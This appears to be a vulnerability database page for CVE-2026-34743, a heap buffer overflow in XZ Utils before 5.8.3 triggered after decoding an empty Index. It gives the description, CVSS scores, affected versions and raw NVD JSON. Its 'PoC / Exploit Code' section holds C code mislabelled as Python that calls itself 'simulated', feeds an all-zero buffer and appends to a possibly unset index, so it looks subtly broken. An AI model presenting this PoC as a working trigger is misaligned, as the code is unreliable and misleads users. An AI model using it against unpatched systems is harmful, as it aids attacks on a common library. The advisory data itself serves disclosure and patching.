Security Vulnerability Report
中文
CVE-2026-34743 CVSS 5.3 MEDIUM

CVE-2026-34743

Published: 2026-04-02 19:21:33
Last Modified: 2026-04-15 17:33:18

Description

XZ Utils provide a general-purpose data-compression library plus command-line tools. Prior to version 5.8.3, if lzma_index_decoder() was used to decode an Index that contained no Records, the resulting lzma_index was left in a state where where a subsequent lzma_index_append() would allocate too little memory, and a buffer overflow would occur. This issue has been patched in version 5.8.3.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:tukaani:xz:*:*:*:*:*:*:*:* - VULNERABLE
XZ Utils < 5.8.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * PoC for CVE-2026-34743 * This code demonstrates the buffer overflow vulnerability in XZ Utils < 5.8.3. * Triggering the bug involves decoding an empty index and then appending data. */ #include <stdio.h> #include <stdint.h> #include <lzma.h> int main(void) { lzma_stream strm = LZMA_STREAM_INIT; lzma_index *i = NULL; // Initialize index decoder // In a real exploit, 'in_buf' would contain specific bytes representing an empty index uint8_t in_buf[1024] = {0}; if (lzma_index_decoder(&strm, &i, UINT64_MAX) != LZMA_OK) { fprintf(stderr, "Decoder initialization failed\n"); return 1; } // Process the input to trigger the empty index state strm.next_in = in_buf; strm.avail_in = sizeof(in_buf); // Decode the stream (simulated) // If the stream represents an index with 0 records, lzma_index state is corrupted lzma_code(&strm, LZMA_FINISH); // The vulnerable call: lzma_index_append // Because the previous state was corrupted, this allocates too little memory // and causes a buffer overflow when writing. lzma_ret ret = lzma_index_append(i, NULL, 0, 1000); if (ret != LZMA_OK) { printf("Append failed (expected if crash didn't occur): %d\n", ret); } else { printf("PoC executed. Memory corruption likely occurred if version < 5.8.3\n"); } lzma_end(&strm); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34743", "sourceIdentifier": "[email protected]", "published": "2026-04-02T19:21:33.187", "lastModified": "2026-04-15T17:33:17.680", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "XZ Utils provide a general-purpose data-compression library plus command-line tools. Prior to version 5.8.3, if lzma_index_decoder() was used to decode an Index that contained no Records, the resulting lzma_index was left in a state where where a subsequent lzma_index_append() would allocate too little memory, and a buffer overflow would occur. This issue has been patched in version 5.8.3."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tukaani:xz:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.8.3", "matchCriteriaId": "02E6038F-3DCB-4701-AC7E-1313F4F1FFB5"}]}]}], "references": [{"url": "https://github.com/tukaani-project/xz/commit/c8c22869e780ff57c96b46939c3d79ff99395f87", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/tukaani-project/xz/releases/tag/v5.8.3", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/tukaani-project/xz/security/advisories/GHSA-x872-m794-cxhv", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/03/31/13", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Patch", "Third Party Advisory"]}]}}